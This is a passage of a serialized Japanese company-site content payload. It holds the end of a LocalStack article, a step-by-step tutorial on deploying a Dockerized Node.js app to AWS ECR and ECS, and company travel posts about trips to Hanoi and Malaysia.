APIに変更があった時に、非同期が発生する可能性があります。",[495,7230,7231],{"id":7231},"結論",[11,7233,7234],{},"LocalStackを使うことによりLambda関数や他のAWSサービスをローカル環境で効果的に開発しデバッグを行うことができます。本物のAWSに展開する前に、適切に統合して正常に動作することを確保でき、開発中に、AWSアカウントへの影響を削減し、手間やコストを削減することもできます。",[495,7236,5465],{"id":5465},[11,7238,7239],{},[57,7240,7241],{"href":7241,"rel":7242},"https:\u002F\u002Fdocs.localstack.cloud\u002F",[61],{"title":64,"searchDepth":65,"depth":65,"links":7244},[7245,7246,7251,7255,7260,7261,7262,7267,7268,7269],{"id":6898,"depth":65,"text":6901},{"id":1868,"depth":65,"text":1868,"children":7247},[7248,7249,7250],{"id":6909,"depth":1375,"text":6910},{"id":6922,"depth":1375,"text":6925},{"id":6937,"depth":1375,"text":6938},{"id":6950,"depth":65,"text":6951,"children":7252},[7253,7254],{"id":6954,"depth":1375,"text":6955},{"id":6976,"depth":1375,"text":6977},{"id":7003,"depth":65,"text":7004,"children":7256},[7257,7258,7259],{"id":7007,"depth":1375,"text":7008},{"id":7020,"depth":1375,"text":7021},{"id":7054,"depth":1375,"text":7055},{"id":7067,"depth":65,"text":7068},{"id":7087,"depth":65,"text":7088},{"id":7114,"depth":65,"text":7115,"children":7263},[7264,7265,7266],{"id":7118,"depth":1375,"text":7119},{"id":7141,"depth":1375,"text":7142},{"id":7173,"depth":1375,"text":7174},{"id":7197,"depth":65,"text":7198},{"id":7231,"depth":65,"text":7231},{"id":5465,"depth":65,"text":5465},"2024-03-08",{},"\u002Fja\u002Fnews\u002Fdebugging-aws-lambda-voi-localstack",{"title":6893,"description":6904},"ja\u002Fnews\u002Fdebugging-aws-lambda-voi-localstack","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F12100501\u002Flocalstack-image.jpg","XLri1V2kr0Yo1IdjBSZZbjb5ll-pO3wDsM8ziQjo2zo",{"id":7278,"title":7279,"body":7280,"category":1388,"created by":68,"date":7754,"description":7284,"extension":71,"meta":7755,"navigation":73,"path":7756,"sections":75,"seo":7757,"stem":7758,"thumbnail":7759,"__hash__":7760},"content_ja\u002Fja\u002Fnews\u002Fdeploying-node-app-to-ecs-with-docker.md","Dockerを使ったECSへのNodeアプリ展開",{"type":8,"value":7281,"toc":7741},[7282,7285,7289,7304,7315,7321,7332,7336,7339,7342,7346,7349,7352,7358,7361,7367,7370,7376,7384,7387,7391,7394,7400,7404,7407,7413,7417,7420,7426,7429,7433,7436,7442,7445,7449,7453,7456,7459,7465,7468,7474,7477,7481,7484,7493,7496,7500,7503,7511,7515,7518,7522,7525,7532,7536,7539,7553,7556,7588,7592,7596,7599,7603,7632,7636,7639,7643,7646,7650,7653,7682,7686,7689,7697,7701,7704,7709,7713,7721,7723,7729,7735],[11,7283,7284],{},"この記事ではNode.jsアプリケーションをビルドし、Amazon Elastic Container Registry (ECR)およびAmazon Elastic Container Service (ECS)を用いてAmazon Web Services (AWS)へ展開することについてお話しします。具体的に言えば、以下のような手順があります。",[495,7286,7288],{"id":7287},"_1-環境構築","1) 環境構築",[11,7290,7291,7294,7295,7298,7299,7303],{},[20,7292,7293],{},"Node","と",[20,7296,7297],{},"Npmode","について ",[57,7300,1231],{"href":7301,"rel":7302},"https:\u002F\u002Fnodejs.org\u002Fen\u002F",[61]," へアクセスしてから最新バージョンをインストールしてください。",[11,7305,7306,7309,7310,7314],{},[20,7307,7308],{},"Docker","(ドッカー)について ",[57,7311,1231],{"href":7312,"rel":7313},"https:\u002F\u002Fdocs.docker.com\u002Finstall\u002F",[61]," へアクセスしてから最新バージョンをインストールしてください。",[11,7316,7317,7320],{},[20,7318,7319],{},"AWS アカウント","について無料アカウントを登録しておいてください。",[11,7322,7323,7326,7327,7331],{},[20,7324,7325],{},"AWS CLI","について",[57,7328,1231],{"href":7329,"rel":7330},"https:\u002F\u002Faws.amazon.com\u002Fcli\u002F",[61],"へアクセスしてから、お使いのOSに応じて手順を行ってください。",[495,7333,7335],{"id":7334},"_2-dockerおよびawsの概要","2) DockerおよびAWSの概要",[11,7337,7338],{},"Dockerとは、どこへもプッシュし、実行できるコンテナを用いてアプリケーションと依存関係や環境変数をビルドするためのオープンソースソフトウェアをいいます。Dockerではハードウェアやフラットフォームから隔離しているのでコンテナに入るアプリケーションをどんな環境にも独立的に実行することができます。",[11,7340,7341],{},"Amazon Web Services (AWS)は費用のかからない拡張可能かつ安全なクラウドサービスを提供します。前述の如く、この記事ではECRとECSのサービスについてのみお話しします。",[495,7343,7345],{"id":7344},"_3-nodejsアプリ作成","3) Node.jsアプリ作成",[11,7347,7348],{},"以下のように展開のためのサンプルアプリケーションを予め作成しておいてください。簡単なNode.jsアプリケーションで良いです。",[11,7350,7351],{},"端末に以下のように入力します。",[696,7353,7356],{"className":7354,"code":7355,"language":701},[699],"\u002F\u002F 新たなディレクトリー作成\n$ mkdir ecs-nodejs-app\n\n\u002F\u002F 作成したてのディレクトリーへの移動 \n$ cd ecs-nodejs-app\n\n\u002F\u002F npm初期化\n$ npm init -y\n\n\u002F\u002F expressインストール\n$ npm install express\n\n\u002F\u002F server.jsファイル作成\n$ touch server.js\n",[703,7357,7355],{"__ignoreMap":64},[11,7359,7360],{},"server.jsファイルを開いて、以下のコードをそこにコピー・ペーストします。",[696,7362,7365],{"className":7363,"code":7364,"language":701},[699],"\u002F\u002F server.js\n\nconst express = require('express')\nconst app = express()\n\napp.get('\u002F', (req, res) => {\nres.send('Welcome from a Node.js app!')\n})\n\napp.listen(3000, () => {\nconsole.log('Server is up on 3000')\n})\n",[703,7366,7364],{"__ignoreMap":64},[11,7368,7369],{},"以下のコマンドでアプリケーションを起動します。",[696,7371,7374],{"className":7372,"code":7373,"language":701},[699],"$ node server.js\n",[703,7375,7373],{"__ignoreMap":64},[11,7377,7378,7379,7383],{},"ブラウザを開いて ",[57,7380,7381],{"href":7381,"rel":7382},"http:\u002F\u002Flocalost:3000",[61]," にアクセスすると、「Welcome from a Node.js app! 」が表示されます。",[11,7385,7386],{},"次の手順でアプリケーションをビルドします。",[495,7388,7390],{"id":7389},"_4-dockerファイル作成","4) Dockerファイル作成",[11,7392,7393],{},"以下のように、ルートディレクトリーにDockerファイルというユニークなファイルを作成することによりアプリケーションをビルドします。なお、このファイルには拡張子がありません。",[696,7395,7398],{"className":7396,"code":7397,"language":701},[699],"FROM node:8-alpine\nRUN mkdir -p \u002Fusr\u002Fsrc\u002Fapp\nWORKDIR \u002Fusr\u002Fsrc\u002Fapp\nCOPY . .\nRUN npm install\nEXPOSE 3000\nCMD [ \"node\", \"server.js\" ]\n",[703,7399,7397],{"__ignoreMap":64},[495,7401,7403],{"id":7402},"_5-dockerイメージのビルド","5. Dockerイメージのビルド",[11,7405,7406],{},"Dockerを設定して実行したことを確認してください。今やDockerファイルが作成済なので、以下のようにDockerイメージを「 -t 」コマンドでビルドします。",[696,7408,7411],{"className":7409,"code":7410,"language":701},[699],"$ docker build -t ecs-nodejs-app .\n",[703,7412,7410],{"__ignoreMap":64},[495,7414,7416],{"id":7415},"_6-dockerコンテナ実行","6. Dockerコンテナ実行",[11,7418,7419],{},"これまで、Dockerイメージ作成の完了です。作成したDockerイメージを確認するために以下のコマンドを打ちます。",[696,7421,7424],{"className":7422,"code":7423,"language":701},[699],"$ docker images\n",[703,7425,7423],{"__ignoreMap":64},[11,7427,7428],{},"作成したてのDockerイメージは登録時間で一番新しいものです。",[530,7430],{"className":7431,"alt":64,"src":7432,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28113202\u002Fimg_docker.png",[11,7434,7435],{},"前もってイメージIDをコピーしておきます。コンテナを実行するために以下のコマンドを打ちます。",[696,7437,7440],{"className":7438,"code":7439,"language":701},[699],"$docker run -p 80:3000 {image-id}\n\n\u002F\u002F コピーしたイメージIDを{image-id}に入れます。\n",[703,7441,7439],{"__ignoreMap":64},[11,7443,7444],{},"ここで、ポート：80:3000へアプリケーションを展開します。Dockerをローカル実行するのでhttp: \u002F\u002F localhost にアクセスして確認します。",[530,7446],{"className":7447,"alt":64,"src":7448,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28155452\u002Flocal.png",[495,7450,7452],{"id":7451},"_7-レジストリ作成およびそこへのdockerイメージのプッシュ","7. レジストリ作成およびそこへのDockerイメージのプッシュ",[11,7454,7455],{},"Amazon Elastic Container Registry (ECR) は、完全マネージド型のコンテナレジストリです。このレジストリを使うと、コンテナイメージをどこにでも簡単に保存、管理、共有、デプロイすることができます。 Amazon ECR はAmazon Elastic Container Service (ECS)と連携して開発から本稼働までのワークフローを簡素化することができます。",[11,7457,7458],{},"Dockerイメージをプッシュする前に、以下のコマンドを実行して、AWS CLIが自分のAWSアカウントで接続できていることを確認してください。",[696,7460,7463],{"className":7461,"code":7462,"language":701},[699],"$ aws configure\n",[703,7464,7462],{"__ignoreMap":64},[11,7466,7467],{},"AWS CLIが既にインストールされた場合、AWS設定として以下の情報が求められます。",[696,7469,7472],{"className":7470,"code":7471,"language":701},[699],"$ aws configure\nAWS Access Key ID [None]: \u003Caccesskey>\nAWS Secret Access Key [None]: \u003Csecretkey>\nDefault region name [None]: us-east-2\nDefault output format [None]:\n",[703,7473,7471],{"__ignoreMap":64},[11,7475,7476],{},"AWS CLIが正確に設定されていることを確保するため、AWS設定コマンドを再度実行して、表示される確認プロンプトでエンターキー押下してください。",[530,7478],{"className":7479,"alt":64,"src":7480,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28123142\u002Faws.png",[11,7482,7483],{},"レジストリ作成の手順は以下の通りとなります。",[11,7485,7486,7487,7492],{},"まず、",[57,7488,7491],{"href":7489,"rel":7490},"https:\u002F\u002Faws.amazon.com\u002F",[61],"AWSマネジメントコンソール"," へアクセスし、ログインを行います。",[11,7494,7495],{},"つぎ、Servicesカテゴリーから、Containersの中にあるElastic Container Service（ECS）を選択します。",[530,7497],{"className":7498,"alt":64,"src":7499,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28123526\u002Fecs-1-1024x454.png",[11,7501,7502],{},"つぎ、左メニューのECRからはRepositoriesへ辿ってから、Create Repositoryメニューを選択した後に、リポジトリ名（例：\"ecs-nodejs-app\"）を入力してCreate Repositoryボタンを押します。",[11,7504,7505,7509],{},[530,7506],{"className":7507,"alt":64,"src":7508,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28123731\u002Fecr-1024x669.png",[568,7510],{},[530,7512],{"className":7513,"alt":64,"src":7514,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F14084222\u002Fviewpush-1024x422.png",[11,7516,7517],{},"つぎ、右上にあるView Push Commandsをクリックした時に表示される4つの手順どおりに、Dockerイメージをビルド、タグ作成し、プッシュします。",[530,7519],{"className":7520,"alt":64,"src":7521,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28123922\u002Fstep_ecr-1024x669.png",[11,7523,7524],{},"その後、Amazon ECRへ戻って、先ほど入力したリポジトリ名をクリックするとDockerイメージが見えます。 次の手順に使うので、そのイメージのURIをコピーしておいてください。",[11,7526,7527,7531],{},[530,7528],{"className":7529,"alt":64,"src":7530,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28124312\u002Fimg_ecr-1024x295.png"," 次の手順で、 EC2インスタンスでDockerイメージを実行するために使われるTask Definitionというタスク定義）、Clusterというクラスター、Serviceというサービスを作成します。",[495,7533,7535],{"id":7534},"_8-タスク定義の作成","8. タスク定義の作成",[11,7537,7538],{},"AWSでのタスクはDocker CLIでのDocker実行コマンドのように機能しており、以下のように定義されています。",[31,7540,7541,7544,7547,7550],{},[34,7542,7543],{},"Container images",[34,7545,7546],{},"Volumes",[34,7548,7549],{},"Networks Environment Variables",[34,7551,7552],{},"Port mappings",[11,7554,7555],{},"以下に、タスク定義の作成手順を示します。",[854,7557,7558,7561,7564,7567,7570,7573,7576,7579,7582,7585],{"style":2613},[11,7559,7560],{},"1. ESCダッシュボードにあるTask Definitionsより、Create new Task Definitionを押下",[11,7562,7563],{},"2. Launch TypeでEC2を選択",[11,7565,7566],{},"3. タスク名（例：\"ecs-nodejs-app-task\"）を入力してから他の項目を飛ばして、下部へ辿ってAdd containerを押下",[11,7568,7569],{},"4. コンテナ名（例：\"ecs-nodejs-app-container\"）を入力",[11,7571,7572],{},"5. 前の手順でコピーしておいたイメージのURIをImageにペースト",[11,7574,7575],{},"6. Memory Limitsで\"Soft Limit\"を選択し、適当な値を（例：\"512\"）を入力",[11,7577,7578],{},"7. Port Mappingで、各ポートを\"80: 3000\"で入力、プロトコルを\"tcp\"と選択",[11,7580,7581],{},"8. Environment Variablesへ辿って、Keyに\"NODE_ENV\"、Valueに\"production\"を入力",[11,7583,7584],{},"9. 他の項目を飛ばして一番下にあるAddを押下",[11,7586,7587],{},"10. Create Task Definition画面へ戻し、対象のコンテナとDockerイメージが表示され、下部へ辿ってCreateを押下",[530,7589],{"className":7590,"alt":64,"src":7591,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28124940\u002Fcontainer-1024x710.png",[495,7593,7595],{"id":7594},"_9-クラスターの作成","9. クラスターの作成",[11,7597,7598],{},"以下に、クラスターの作成手順を示します。",[530,7600],{"className":7601,"alt":64,"src":7602,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28125117\u002Fcluster-1024x252.png",[854,7604,7605,7608,7611,7614,7617,7620,7623,7626,7629],{"style":2613},[11,7606,7607],{},"1. ServicesカテゴリーよりECSを押してECSダッシュボードへ戻す",[11,7609,7610],{},"2. 左メニューよりAmazon ECS（EKSではない）の直下にあるClustersをクリックしてCreate Clusterを押下",[11,7612,7613],{},"3. クラスター・テンプレートとしてEC2 Linux + Networkingを選択してNext Stepを押下",[11,7615,7616],{},"4. クラスター名（例：\"ecs-nodejs-app-cluster\"）を入力",[11,7618,7619],{},"5. EC2 Instance Typeでデフォルトのままにするか\"t2.micro\"を選択",[11,7621,7622],{},"6. Number of instancesに\"1\"、EBS Storageに\"30\"を入力",[11,7624,7625],{},"7. Key pairでデフォルトのままにするか、対象のEC2インスタンスへSSHしたい場合の既存キーを選択",[11,7627,7628],{},"8. VPCでCreate a new VPCを押して新規作成して、下部へ辿る",[11,7630,7631],{},"9. Container instance IAM roleで作成した権限（例：\"ECStoEC2role\"）を選択してCreateを押下",[530,7633],{"className":7634,"alt":64,"src":7635,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28125454\u002Fcluster_1-1024x784.png",[11,7637,7638],{},"処理に数分がかかります。終わったらView Clusterを押下することで、Active状態が見えます。",[495,7640,7642],{"id":7641},"_10-クラスター実行用サービスの作成","10. クラスター実行用サービスの作成",[11,7644,7645],{},"この手順で、クラスターを実行するためのサービスを作成します。",[530,7647],{"className":7648,"alt":64,"src":7649,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28125848\u002Fservice-1024x316.png",[11,7651,7652],{},"以下に、サービスの作成手順を示します。",[854,7654,7655,7658,7661,7664,7667,7670,7673,7676,7679],{"style":2613},[11,7656,7657],{},"1. 左メニューのECSよりTask Definitionを押してから、定義したタスク（例：\"ecs-nodejs-app-task\"）を選択",[11,7659,7660],{},"2. 最新版を選択",[11,7662,7663],{},"3. Create new revisionの横にあるActionカテゴリーよりCreate Serviceを選択",[11,7665,7666],{},"4. Configure Serviceページで、Launch typeでEC2を選択",[11,7668,7669],{},"5. Clusterで作成したクラスター（例：\"ecs-nodejs-app-cluster\"）を選択",[11,7671,7672],{},"6. サービス名（例：\"ecs-nodejs-app-service\"）を入力",[11,7674,7675],{},"7. Number of Tasksに \"1\"を入力",[11,7677,7678],{},"8. 他の項目や次のページを飛ばして、4ページへと移動してから下部へ辿ってCreate Serviceを押下",[11,7680,7681],{},"9. Launch Statusページで、作成したサービスに緑チェックマークが入る。View Serviceを押した後に、TasksタブのLast Statusが\"PENDING\"であるならば、少し時間が経過し、または、再描画アイコンをクリックすることで\"RUNNING\"になる",[530,7683],{"className":7684,"alt":64,"src":7685,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28130204\u002Fservice_1-1024x822.png",[11,7687,7688],{},"ClusterからEC2 instancesタブで対象のインスタンス・コンテナを押すことで公開DNSリンクを生成します。",[11,7690,7691,7695],{},[530,7692],{"className":7693,"alt":64,"src":7694,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28130521\u002Fec2-1024x476.png",[568,7696],{},[530,7698],{"className":7699,"alt":64,"src":7700,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28130712\u002Fdns-1024x490.png",[11,7702,7703],{},"ブラウザーでその公開DNSへアクセスすると、作成したアプリが開きます。",[11,7705,7706],{},[20,7707,7708],{},"ec2-52-193-75-195.ap-northeast-1.compute.amazonaws.com",[530,7710],{"className":7711,"alt":64,"src":7712,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28130829\u002Fdemo.png",[11,7714,7715,7720],{},[57,7716,7719],{"href":7717,"rel":7718},"https:\u002F\u002Fgitlab.com\u002Fbwv-hp\u002Fecs-demo.git",[61],"Github","からサンプルソースを参考にしましょう！",[495,7722,5465],{"id":5465},[11,7724,7725],{},[57,7726,7727],{"href":7727,"rel":7728},"https:\u002F\u002Fdocs.aws.amazon.com\u002FAmazonECS\u002Flatest\u002Fdeveloperguide\u002Fgetting-started.html",[61],[11,7730,7731],{},[57,7732,7733],{"href":7733,"rel":7734},"https:\u002F\u002Fblog.clairvoyantsoft.com\u002Fdeploy-and-run-docker-images-on-aws-ecs-85a17a073281",[61],[11,7736,7737],{},[57,7738,7739],{"href":7739,"rel":7740},"https:\u002F\u002Fmedium.com\u002Fboltops\u002Fgentle-introduction-to-how-aws-ecs-works-with-example-tutorial-cea3d27ce63d",[61],{"title":64,"searchDepth":65,"depth":65,"links":7742},[7743,7744,7745,7746,7747,7748,7749,7750,7751,7752,7753],{"id":7287,"depth":65,"text":7288},{"id":7334,"depth":65,"text":7335},{"id":7344,"depth":65,"text":7345},{"id":7389,"depth":65,"text":7390},{"id":7402,"depth":65,"text":7403},{"id":7415,"depth":65,"text":7416},{"id":7451,"depth":65,"text":7452},{"id":7534,"depth":65,"text":7535},{"id":7594,"depth":65,"text":7595},{"id":7641,"depth":65,"text":7642},{"id":5465,"depth":65,"text":5465},"2021-05-18",{},"\u002Fja\u002Fnews\u002Fdeploying-node-app-to-ecs-with-docker",{"title":7279,"description":7284},"ja\u002Fnews\u002Fdeploying-node-app-to-ecs-with-docker","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28132456\u002Fecs-t.png","wqQ0OG2Mlw-ztK7x-T8qUVARbMvYJ6PmfcRmg-9ze8E",{"id":7762,"title":7763,"body":7764,"category":2844,"created by":5928,"date":7880,"description":7881,"extension":71,"meta":7882,"navigation":73,"path":7883,"sections":75,"seo":7884,"stem":7885,"thumbnail":7886,"__hash__":7887},"content_ja\u002Fja\u002Fnews\u002Fdu-lich-cong-ty-nam-2024-hanh-trinh-kham-pha-thu-do-ha-noi.md","2024年社員旅行・首都ハノイ探訪の旅",{"type":8,"value":7765,"toc":7878},[7766,7769,7772,7775,7779,7782,7786,7789,7793,7796,7800,7803,7811,7815,7818,7826,7830,7833,7841,7849,7857,7861,7864,7868,7871,7875],[11,7767,7768],{},"ハノイ3日2泊の旅行 - ブリスウェルファミリーの魅力あふれる探検の旅。",[11,7770,7771],{},"ブリスウェルファミリーがハノイで何をしたのか、どこへ行ったのか、そしてどんな気持ちになったのか気になりませんか？一緒に見てみましょう！何が彼らをハノイに夢中にさせたのでしょうか？",[11,7773,7774],{},"みんなでホアンキエム湖を散策し、チャン・クオック寺を訪れ、この地の古風な美しさに魅了されました。",[530,7776],{"className":7777,"alt":64,"src":7778,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F28160844\u002Fcompany-trip-1-1024x768.png",[11,7780,7781],{},"私たちは文廟・国子監を訪れ、ベトナムの教育の歴史について学ぶことで、多くの有益な知識を得ることができました。",[530,7783],{"className":7784,"alt":64,"src":7785,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105510\u002F1-1024x768.png",[11,7787,7788],{},"本場のハノイ名物ブンチャーを堪能しました。首都を訪れるなら必ず試したい一品です。",[530,7790],{"className":7791,"alt":64,"src":7792,"style":1174},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105521\u002Fbun-cha-ha-noi-03-768x908.jpg",[11,7794,7795],{},"ハノイ生ビール（ビアホイ）・首都の食文化の象徴であり、友人たちとの集まりの魂です。みんなで乾杯し、忘れられない瞬間を共有しました。",[530,7797],{"className":7798,"alt":64,"src":7799,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105517\u002F460638472_8467118276683142_8251668091009759416_n-1024x768.jpg",[11,7801,7802],{},"小さなカフェに腰を下ろし、熱々のエッグコーヒーを一口ずつ味わいました。その濃厚な香りが空間全体に広がり、心地よい温かさを感じました。クリーミーで芳醇なコーヒーを一口飲むごとに、心が落ち着き、疲れがすっかり癒されました。",[11,7804,7805,7809],{},[530,7806],{"className":7807,"alt":64,"src":7808,"style":1174},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105643\u002FUntitled-design-11-768x768.png",[568,7810],{},[530,7812],{"className":7813,"alt":64,"src":7814,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24110232\u002Fimage-3-1024x768.png",[11,7816,7817],{},"ハノイの中心に佇む一柱寺は、まるで純粋な蓮の花のようで、訪れる人々に穏やかで落ち着いた気持ちを与えてくれます。",[11,7819,7820,7824],{},[530,7821],{"className":7822,"alt":64,"src":7823,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105616\u002FUntitled-design-4-1152x1536.png",[568,7825],{},[530,7827],{"className":7828,"alt":64,"src":7829,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24110857\u002FUntitled-design-5-1024x768.png",[11,7831,7832],{},"みんなでホーチミン廟を訪れました。厳粛で敬虔な雰囲気が辺り一面を包み込み、誰もが心を落ち着かせ、敬愛する主席への深い感謝の気持ちを捧げたいと感じました。",[11,7834,7835,7839],{},[530,7836],{"className":7837,"alt":64,"src":7838,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24110516\u002FDSC_0004-1-1024x680.jpg",[568,7840],{},[11,7842,7843,7847],{},[530,7844],{"className":7845,"alt":64,"src":7846,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105535\u002FUntitled-design-1-1152x1536.png",[568,7848],{},[11,7850,7851,7855],{},[530,7852],{"className":7853,"alt":64,"src":7854,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105554\u002FUntitled-design-2-1152x1536.png",[568,7856],{},[530,7858],{"className":7859,"alt":64,"src":7860,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105602\u002FUntitled-design-3-1152x1536.png",[11,7862,7863],{},"タムチュック寺は、その壮大な自然の美しさと精巧な建築で、私たち全員を圧倒しました。",[530,7865],{"className":7866,"alt":64,"src":7867,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105635\u002FUntitled-design-8.png",[11,7869,7870],{},"みんなでレストランで夕食を楽しみました。",[530,7872],{"className":7873,"alt":64,"src":7874,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105654\u002Fz5859754767327_a151475f70ba59c502a2b5d65003a467-1152x1536.jpg",[11,7876,7877],{},"ブリスウェルのみんなの思い出のアルバムに、ハノイの写真や物語が加わり、色鮮やかな新しい章が刻まれました。私たちは、次の旅がさらに多くの驚きと魅力をもたらしてくれると信じています。どうぞお楽しみに!!!",{"title":64,"searchDepth":65,"depth":65,"links":7879},[],"2024-10-28","ハノイ3日2泊の旅行 - ブリスウェルファミリーの魅力あふれる探検の旅。ブリスウェルファミリーがハノイで何をしたのか、どこへ行ったのか、そしてどんな気持ちになったのか気になりませんか？一緒に見てみましょう！何が彼らをハノイに夢中にさせたのでしょうか？",{},"\u002Fja\u002Fnews\u002Fdu-lich-cong-ty-nam-2024-hanh-trinh-kham-pha-thu-do-ha-noi",{"title":7763,"description":7881},"ja\u002Fnews\u002Fdu-lich-cong-ty-nam-2024-hanh-trinh-kham-pha-thu-do-ha-noi","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F28160808\u002Fcompany-trip-2.png","aJ6yDVUNxHKnmVugV3t2CnBE3ZzF4w_KpDV1GioD1CM",{"id":7889,"title":7890,"body":7891,"category":2844,"created by":5928,"date":8100,"description":8101,"extension":71,"meta":8102,"navigation":73,"path":8103,"sections":75,"seo":8104,"stem":8105,"thumbnail":8106,"__hash__":8107},"content_ja\u002Fja\u002Fnews\u002Fdu-lich-cong-ty-nam-2025-kuala-lumpur-malaysia.md","2025年の社員旅行・マレーシア",{"type":8,"value":7892,"toc":8098},[7893,7896,7899,7902,7905,7910,7915,7918,7921,7925,7928,7932,7935,7938,7942,7945,7953,7957,7960,7972,7977,7980,7992,7995,7999,8002,8010,8014,8017,8022,8025,8028,8036,8044,8048,8051,8055,8058,8066,8070,8073,8076,8080,8083,8087,8092,8095],[11,7894,7895],{},"忙しくて疲れた日々の後に、一番早くエネルギーをチャージできる方法は何でしょうか。その答えはもちろん旅行です。",[11,7897,7898],{},"今回、ブリスウェルベトナムは期待に満ちた旅へ出発します！",[11,7900,7901],{},"どんなことが待っているのでしょうか。",[11,7903,7904],{},"さあ、一緒にブリスウェルベトナムの旅を楽しみましょう。",[11,7906,7907],{},[20,7908,7909],{},"ブリスウェルベトナム・3日2泊マレーシア旅行の体験",[11,7911,7912],{},[20,7913,7914],{},"1日目・マレーシアへの出発",[11,7916,7917],{},"ホーチミン市から出発し、数時間のフライトを経て、私たちはマレーシアで最も活気に満ち、近代都市の中心地であるクアラルンプールに到着しました。",[11,7919,7920],{},"そして、東洋と西洋の文化が交わる歴史深い街として知られている古都マラッカに行きました。",[530,7922],{"className":7923,"alt":64,"src":7924,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165451\u002FBia-1024x659.jpg",[11,7926,7927],{},"ここでは、ヨーロッパの文明の足跡を色濃く残すオランダ広場を訪れました。",[530,7929],{"className":7930,"alt":64,"src":7931,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u0